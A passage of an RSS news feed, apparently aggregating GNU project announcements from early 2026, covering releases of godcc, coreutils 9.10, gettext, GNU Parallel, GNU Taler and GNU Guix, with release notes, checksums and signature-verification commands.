      written in Algol 68... have no doubt, others will follow shortly
      ;)&lt;/p&gt;

      &lt;p&gt;&lt;a href="https://packages.gentoo.org/packages/dev-util/godcc"&gt;https://packages.gentoo.org/packages/dev-util/godcc&lt;/a&gt;
      &lt;/p&gt; </description> 
	<pubDate>Thu, 05 Feb 2026 10:00:00 +0000</pubDate>

</item> 
<item>
	<title>Jose E. Marchesi: Algol 68 support in VS Code</title>
	<guid>https://www.jemarch.net/gnuplanet.xml/382b84975a7600b3dde035be212f9efc</guid>
	<link/>
     <description>  Pietro Monteiro has added Algol 68 support syntax highlighting for VS
Code.  You can get the sources at &lt;a href="https://codeberg.org/sleepy4727/supper-algol-68"&gt;https://codeberg.org/sleepy4727/supper-algol-68&lt;/a&gt;.

He has also adapted it to add support for Algol 68 syntax highlighting
in Compiler Explorer, with the help of Iain Buclaw.

See how it looks at &lt;a href="https://www.jemarch.net/:https://godbolt.org/z/84bPbbexa&amp;amp;quot"&gt;https://godbolt.org/z/84bPbbexa&lt;/a&gt;.

&lt;p&gt;With this work VS Code joins Emacs and Vim in the happy family of
editors providing syntax highlighting and indentation for Algol 68.&lt;/p&gt;

&lt;p&gt;
Thank you Pietro and Iain!
      &lt;/p&gt; </description> 
	<pubDate>Thu, 05 Feb 2026 10:00:00 +0000</pubDate>

</item> 
<item>
	<title>Jose E. Marchesi: godcc 1.0 released</title>
	<guid>https://www.jemarch.net/gnuplanet.xml/d887a3aad4e9982bc654f4e788c87250</guid>
	<link/>
     <description>  &lt;p&gt;I am happy to announce the first release of godcc, version
      1.0.&lt;/p&gt;

      &lt;p&gt;The tarball godcc-1.0.tar.gz is now available at &lt;a href="https://jemarch.net/godcc-1.0.tar.gz"&gt;https://jemarch.net/godcc-1.0.tar.gz&lt;/a&gt;.&lt;/p&gt;

      &lt;p&gt;godcc (&lt;a href="https://jemarch.net"&gt;https://jemarch.net&lt;/a&gt;)
      is a full-fledged command-line interface to Compiler Explorer
      instances such as &lt;a href="https://godbolt.org"&gt;https://godbolt.org&lt;/a&gt;.  It
      currently supports getting listings, compiling source files and
      formatting sources.&lt;/p&gt;

      &lt;p&gt;Happy godccing!
      &lt;/p&gt; </description> 
	<pubDate>Wed, 04 Feb 2026 21:00:00 +0000</pubDate>

</item> 
<item>
	<title>coreutils @ Savannah: coreutils-9.10 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10854</guid>
	<link>https://savannah.gnu.org/news/?id=10854</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce coreutils-9.10, a stable release.&lt;br /&gt;
&lt;br /&gt;
Notable changes include:&lt;br /&gt;
- Options in man pages link directly into the full web docs&lt;br /&gt;
- timeout(1) now kills the command for all terminating signals&lt;br /&gt;
- paste(1) is now multi-byte character aware&lt;br /&gt;
- cp(1) fixes an unlikely infinite loop introduced in v9.9&lt;br /&gt;
- The multi-call binary is 3.2% smaller&lt;br /&gt;
&lt;br /&gt;
There have also been many bug fixes and other changes&lt;br /&gt;
as summarized in the NEWS below.&lt;br /&gt;
&lt;br /&gt;
There have been 288 commits by 10 people in the 12 weeks since 9.9.&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Bernhard Voelker (1)&lt;br /&gt;
  Bruno Haible (1)&lt;br /&gt;
  Christopher Illarionova (2)&lt;br /&gt;
  Collin Funk (92)&lt;br /&gt;
  Dmitry V. Levin (1)&lt;br /&gt;
  Egmont Koblinger (3)&lt;br /&gt;
  Paul Eggert (14)&lt;br /&gt;
  Padraig Brady (159)&lt;br /&gt;
  Sylvestre Ledru (5)&lt;br /&gt;
  oech3 (10)&lt;br /&gt;
&lt;br /&gt;
Padraig [on behalf of the coreutils maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU coreutils home page:&lt;br /&gt;
    https://gnu.org/s/coreutils/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.10.tar.gz   (15MB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.10.tar.xz   (6.3MB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.10.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/coreutils/coreutils-9.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
SHA256 (coreutils-9.10.tar.gz) = 4L3h+2hQlEf8cjzyUX6KjH+kZ2mRm7dJDtNQoukjhWI=&lt;br /&gt;
SHA3-256 (coreutils-9.10.tar.gz) = ajdC0yoxKq5sDXyeL9nMXNSZ26du/3QtZCEo4PNZZkA=&lt;br /&gt;
SHA256 (coreutils-9.10.tar.xz) = FlNamt8LEANzZOLWEqrT2fTso6NElJztdNEvr0vVHSU=&lt;br /&gt;
SHA3-256 (coreutils-9.10.tar.xz) = jUv9Ki9gdL5VuXEhDhGyuR+Md4r2PAnkJ9JCw1xdoWY=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify coreutils-9.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]&lt;br /&gt;
        Key fingerprint = 6C37 DC12 121A 5006 BC1D  B804 DF6F D971 3060 37D9&lt;br /&gt;
  uid                   [ultimate] Pádraig Brady &amp;lt;P@draigBrady.com&amp;gt;&lt;br /&gt;
  uid                   [ultimate] Pádraig Brady &amp;lt;pixelbeat@gnu.org&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key P@draigBrady.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys DF6FD971306037D9&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify coreutils-9.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the coreutils git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/coreutils.git&lt;br /&gt;
&lt;br /&gt;
with commit 89b2cd58ac895e3fc0d24d8f10e7e4ba132e7fb6 tagged as v9.10.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.10&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned coreutils directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v9.9..v9.10&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.72.101-9513b&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-01-24 1c5e0277c2143dd570d8c88f8923eed2afd8e13b&lt;br /&gt;
  Bison 3.8.2&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 9.10 (2026-02-04) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  cp, install, and mv no longer enter an infinite loop copying sparse files&lt;br /&gt;
  with SEEK_HOLE.  E.g., this was seen on ext4 when copying sparse files with&lt;br /&gt;
  extents that are being actively updated, and copy offload is not being used.&lt;br /&gt;
  [bug introduced in coreutils-9.9]&lt;br /&gt;
&lt;br /&gt;
  'date' no longer fails with format directives that return an empty string.&lt;br /&gt;
  [bug introduced in coreutils-9.9]&lt;br /&gt;
&lt;br /&gt;
  'dd seek=N of=FILE' no longer continues copying, overwriting FILE if it&lt;br /&gt;
  exists, if ftruncate fails.&lt;br /&gt;
  [bug introduced in coreutils-9.1]&lt;br /&gt;
&lt;br /&gt;
  du and ls no longer modify strings returned by getenv.&lt;br /&gt;
  POSIX says this is not portable.&lt;br /&gt;
  [bug introduced in fileutils-4.1.6]&lt;br /&gt;
&lt;br /&gt;
  'fmt' now correctly diagnoses read errors.&lt;br /&gt;
  Previously fmt generated a generic error for any read error.&lt;br /&gt;
  [bug introduced in coreutils-9.0]&lt;br /&gt;
&lt;br /&gt;
  md5sum --text correctly translates CRLF line endings with the MSYS2 runtime.&lt;br /&gt;
  This also applies to the sha*sum and b2sum utilities.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
  'numfmt' no longer drops custom suffixes from numbers it cannot fully parse.&lt;br /&gt;
  [bug introduced with numfmt in coreutils-8.21]&lt;br /&gt;
&lt;br /&gt;
  'tail -f --pid' can no longer exit upon receiving a non terminating signal.&lt;br /&gt;
  On older Linux systems it may have failed with "Interrupted system call".&lt;br /&gt;
  [bug introduced in coreutils-7.5]&lt;br /&gt;
&lt;br /&gt;
  'timeout' will now propagate all terminating signals to the monitored command.&lt;br /&gt;
  Previously 'timeout' could have exited and left the monitored command running.&lt;br /&gt;
  [bug introduced with timeout in coreutils-7.0]&lt;br /&gt;
&lt;br /&gt;
  wc now documents its --debug option, currently used to&lt;br /&gt;
  indicate the line count acceleration being used.&lt;br /&gt;
  [bug introduced in coreutils-9.0]&lt;br /&gt;
&lt;br /&gt;
  When built with `clang -fno-inline`, memory allocation issues are again&lt;br /&gt;
  handled in a defined manner.  Previously programs may have crashed etc.&lt;br /&gt;
  after a failure to allocate memory.&lt;br /&gt;
  [bug introduced in coreutils-9.0]&lt;br /&gt;
&lt;br /&gt;
** New Features&lt;br /&gt;
&lt;br /&gt;
  configure accepts a new --enable-single-binary=hardlinks mode to build the&lt;br /&gt;
  selected programs as hard links to a multi-call binary called "coreutils".&lt;br /&gt;
  This augments the existing "symlinks" and "shebangs" modes already&lt;br /&gt;
  supported by the --enable-single-binary option.&lt;br /&gt;
&lt;br /&gt;
  'stat' and 'tail' now know about the "guest-memfd" file system type.&lt;br /&gt;
  stat -f -c%T now reports the file system type,&lt;br /&gt;
  and tail -f uses polling for this file system.&lt;br /&gt;
&lt;br /&gt;
  'tail' now accepts the --debug option, which is currently used to&lt;br /&gt;
  detail the --follow implementation being used.&lt;br /&gt;
&lt;br /&gt;
  'du' now supports the short option -A corresponding to the existing long&lt;br /&gt;
  option --apparent-size, for compatibility with FreeBSD.&lt;br /&gt;
&lt;br /&gt;
** Changes in behavior&lt;br /&gt;
&lt;br /&gt;
  All commands now markup option names in --help and man pages,&lt;br /&gt;
  with bold attributes, and hyperlinks into the online manual on gnu.org.&lt;br /&gt;
  The links can be configured with the --enable-manual-url configure option,&lt;br /&gt;
  and the bold highlighting with --disable-bold-man-page-references.&lt;br /&gt;
  At runtime all markup can be disabled with the TERM=dumb env var value.&lt;br /&gt;
&lt;br /&gt;
  'fmt' -w,--width no longer includes '\n' in the width of a line.&lt;br /&gt;
  I.e., the specified width is interpreted to be an _inclusive_ maximum.&lt;br /&gt;
&lt;br /&gt;
  'ls --hyperlink' now uses more standard format hyperlinks.&lt;br /&gt;
  'ESC\' (ST) is now used as a delimiter, instead of '\a' (BEL).&lt;br /&gt;
&lt;br /&gt;
  'ptx' -t is no longer a no-op, and now sets the default width to 100 columns.&lt;br /&gt;
&lt;br /&gt;
  'timeout' now honors ignored signals and will not propagate them.  E.g.,&lt;br /&gt;
  timeout(1) in a shell backgrounded job, will not terminate upon receiving&lt;br /&gt;
  SIGINT or SIGQUIT, as these are ignored by default in shell background jobs.&lt;br /&gt;
&lt;br /&gt;
  'timeout -v -s 0' now prints the signal number 0 instead of EXIT.&lt;br /&gt;
&lt;br /&gt;
  The multi-call binary now only processes --help or --version options&lt;br /&gt;
  if it is installed with a name ending with "coreutils".  This allows&lt;br /&gt;
  for more consistent handling of these options with unsupported commands.&lt;br /&gt;
&lt;br /&gt;
** Improvements&lt;br /&gt;
&lt;br /&gt;
  The multi-call binary built with configure --enable-single-binary&lt;br /&gt;
  is reduced in size by 3.2% through the more efficient reuse of the cksum&lt;br /&gt;
  utility by the md5sum and sha*sum utilities.&lt;br /&gt;
&lt;br /&gt;
  'cksum' now validates its options more consistently.&lt;br /&gt;
  E.g., `cksum --text --tag` now fails like `cksum --tag --text` already did.&lt;br /&gt;
&lt;br /&gt;
  'cksum', 'du', and 'wc' now exit promptly upon receiving a write&lt;br /&gt;
  error, which is significant when processing many input files.&lt;br /&gt;
&lt;br /&gt;
  csplit, ls, and sort, now handle a more complete set of terminating signals.&lt;br /&gt;
&lt;br /&gt;
  'du' now processes directories with 10,000 or more entries up to 9 times&lt;br /&gt;
  faster on the Lustre file system.&lt;br /&gt;
&lt;br /&gt;
  'paste' now supports multi-byte --delimiters characters.&lt;br /&gt;
&lt;br /&gt;
  'pinky' will now exit immediately upon receiving a write error, which is&lt;br /&gt;
  significant when reading large plan or project files.&lt;br /&gt;
&lt;br /&gt;
  'readlink' and 'realpath' will now exit promptly upon receiving a write error,&lt;br /&gt;
  which is significant when canonicalizing multiple file names longer than&lt;br /&gt;
  PATH_MAX.&lt;br /&gt;
&lt;br /&gt;
  'timeout' on Linux will always terminate the child in the case where the&lt;br /&gt;
  timeout process itself dies, like when it receives a KILL signal for example.&lt;br /&gt;
&lt;br /&gt;
** Build-related&lt;br /&gt;
&lt;br /&gt;
  Programs now port to C23 platforms that strictly check types when&lt;br /&gt;
  qualifier-generic functions like strchr are used.&lt;br /&gt;
&lt;br /&gt;
  'chcon' and 'runcon' stub binaries will be built on systems without&lt;br /&gt;
  libselinux, when configured using --with-selinux.&lt;br /&gt;
&lt;br /&gt;
  'kill' and 'uptime' are no longer built by default.  These programs can be&lt;br /&gt;
  built with the --enable-install-program=kill,uptime configure option.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 04 Feb 2026 12:58:31 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: GNU Taler 1.4 released</title>
	<guid>https://taler.net/en/news/2026-03.html</guid>
	<link>https://taler.net/en/news/2026-03.html</link>
     <description>  &lt;article&gt;
             We are happy to announce the release of GNU Taler v1.4.
           &lt;/article&gt; </description> 
	<pubDate>Tue, 03 Feb 2026 23:00:00 +0000</pubDate>

</item> 
<item>
	<title>gettext @ Savannah: GNU gettext 1.0 released</title>
	<guid>https://savannah.gnu.org/news/?id=10853</guid>
	<link>https://savannah.gnu.org/news/?id=10853</link>
     <description>  &lt;p&gt;Download from &lt;a href="https://ftp.gnu.org/pub/gnu/gettext/gettext-0.26.tar.gz"&gt;https://ftp.gnu.o ... ttext-0.26.tar.gz&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improvements for maintainers and distributors:
&lt;ul&gt;
&lt;li&gt;In a po/ directory, the PO files are now exactly those that the translators submitted or committed in version control, or a translation project's daemon committed on behalf of the translators. They are no longer regularly updated with respect to the POT file in the same directory.
&lt;/li&gt;
&lt;li&gt;The advantage for maintainers is that the maintainer may commit the PO files in version control, without getting
&lt;ul&gt;
&lt;li&gt;lots of modified files shown by "git status",
&lt;/li&gt;
&lt;li&gt;frequent merge conflicts when merging between branches,
&lt;/li&gt;
&lt;li&gt;a voluminous version control history.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The advantage for distributors is that the role of files in a release tarball are clearer: The PO files are source code, whereas the POT file and the *.gmo files are generated files.
&lt;/li&gt;
&lt;li&gt;ATTENTION translators! Translators who work directly on a package's source code (without going through a translation project) now need to run "msginit" before starting work on a PO file.
&lt;/li&gt;
&lt;li&gt;A new program 'po-fetch' is provided, that fetches the translated PO files from a translation project's site on the internet, and updates the LINGUAS file accordingly.
&lt;/li&gt;
&lt;li&gt;In a po/ directory, a new script 'fetch-po' is now added by 'gettextize'. It provides the standard interface for fetching the translated PO files. It typically either invokes the 'po-fetch' program or does nothing.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improvements for translators:
&lt;ul&gt;
&lt;li&gt;msginit:
&lt;ul&gt;
&lt;li&gt;When the PO file already exists, 'msginit' now updates it w.r.t. the POT file, like 'msgmerge' would do. Previously, 'msginit' failed with an error message in this situation.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Pretranslation:
&lt;ul&gt;
&lt;li&gt;Two new programs, 'msgpre' and 'spit', are provided, that implement machine translation through a locally installed Large Language Model (LLM). 'msgpre' applies to an entire PO file, 'spit' to a single message.
&lt;/li&gt;
&lt;li&gt;The documentation has a new chapter "Pretranslation".
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improvements for maintainers:
&lt;ul&gt;
&lt;li&gt;xgettext:
&lt;ul&gt;
&lt;li&gt;The refactoring suggestion when a translatable string contains an URL or email address can now be inhibited through a command-line option '--no-check=url' or '--no-check=email', or through a comment in the source code of the form
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt;           /* xgettext: no-url-check */&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;or
&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt;           /* xgettext: no-email-check */&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Programming languages support:
&lt;ul&gt;
&lt;li&gt;OCaml:
&lt;ul&gt;
&lt;li&gt;xgettext now supports OCaml.
&lt;/li&gt;
&lt;li&gt;'msgfmt -c' now verifies the syntax of translations of OCaml format strings.
&lt;/li&gt;
&lt;li&gt;A new example 'hello-ocaml' has been added.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Rust:
&lt;ul&gt;
&lt;li&gt;xgettext now recognizes 'gettextrs::gettext' invocations, like 'gettext' invocations.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;libgettextpo library:
&lt;ul&gt;
&lt;li&gt;The function 'po_message_get_format' now supports distinguishing whether a negative format string mark, such as 'no-c-format', is set or not.
&lt;/li&gt;
&lt;li&gt;The new functions po_message_has_workflow_flag, po_message_set_workflow_flag, po_message_workflow_flags_iterator, po_flag_next, po_flag_iterator_free can be used to manipulate or inspect the workflow flags of a message.
&lt;/li&gt;
&lt;li&gt;The new functions po_message_has_sticky_flag, po_message_set_sticky_flag, po_message_sticky_flags_iterator, po_flag_next, po_flag_iterator_free can be used to manipulate or inspect the sticky flags of a messsage.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Emacs PO mode:
&lt;ul&gt;
&lt;li&gt;Restore syntax highlighting in Emacs version 30 or newer.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt; </description> 
	<pubDate>Thu, 29 Jan 2026 17:30:35 +0000</pubDate>

</item> 
<item>
	<title>GNU Artanis: Techical report 2026-Jan-28</title>
	<guid>https://artanis.dev/blog/technical-report-2026-Jan-28.html</guid>
	<link>https://artanis.dev/blog/technical-report-2026-Jan-28.html</link>
    
	<pubDate>Wed, 28 Jan 2026 08:26:09 +0000</pubDate>

</item> 
<item>
	<title>parallel @ Savannah: GNU Parallel 20260122 ('Maduro') released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10852</guid>
	<link>https://savannah.gnu.org/news/?id=10852</link>
     <description>  &lt;p&gt;GNU Parallel 20260122 ('Maduro') has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  64コアで、64並列でsimlationを回してtopコマンドで状況を見るのは心地よい。簡単に並列処理を実現できるGNU parallelコマンドは素晴らしい。
&lt;br /&gt;
    -- Daisuke Iizuka @diizuka@twitter
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No new features.
&lt;/li&gt;
&lt;li&gt;Bug fixes.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name '*.jpg' |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href="http://www.gnu.org/s/parallel/"&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href="http://pi.dk/3"&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href="http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1"&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href="https://doi.org/10.5281/zenodo.1146014"&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href="https://gnuparallel.threadless.com/designs/gnu-parallel"&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href="https://my.fsf.org/donate/"&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Tue, 27 Jan 2026 23:44:36 +0000</pubDate>

</item> 
<item>
	<title>GNU Guix: GNU Guix 1.5.0 released</title>
	<guid>https://guix.gnu.org/blog/2026/gnu-guix-1.5.0-released//</guid>
	<link>https://guix.gnu.org/blog/2026/gnu-guix-1.5.0-released//</link>
     <description>  &lt;p&gt;We are pleased to announce the release of GNUÂ Guix version 1.5.0!&lt;/p&gt;&lt;p&gt;The release comes with ISO-9660 installation images, virtual machine
images, and with tarballs to install the package manager on top of your
GNU/Linux distro, either from source or from binariesâ€”check out the
&lt;a href="https://guix.gnu.org/download"&gt;download page&lt;/a&gt;.  Guix users can
update by running &lt;code&gt;guix pull&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Itâ€™s been 3 years since the &lt;a href="https://guix.gnu.org/blog/2022/gnu-guix-1.4.0-released/"&gt;previous
release&lt;/a&gt;.
Thatâ€™s a lot of time, reflecting both the fact that, as a &lt;em&gt;rolling
release&lt;/em&gt;, users continuously get new features and update by running
&lt;code&gt;guix pull&lt;/code&gt;; but it also shows a lack of processes, something that we
had to address before another release could be made.&lt;/p&gt;&lt;p&gt;During that time, Guix received about 71,338 commits by 744 people,
which include many new features; the project also got a new
&lt;a href="https://consensus.guix.gnu.org/gcd/001-gcd-process.html"&gt;decision-making
process&lt;/a&gt;,
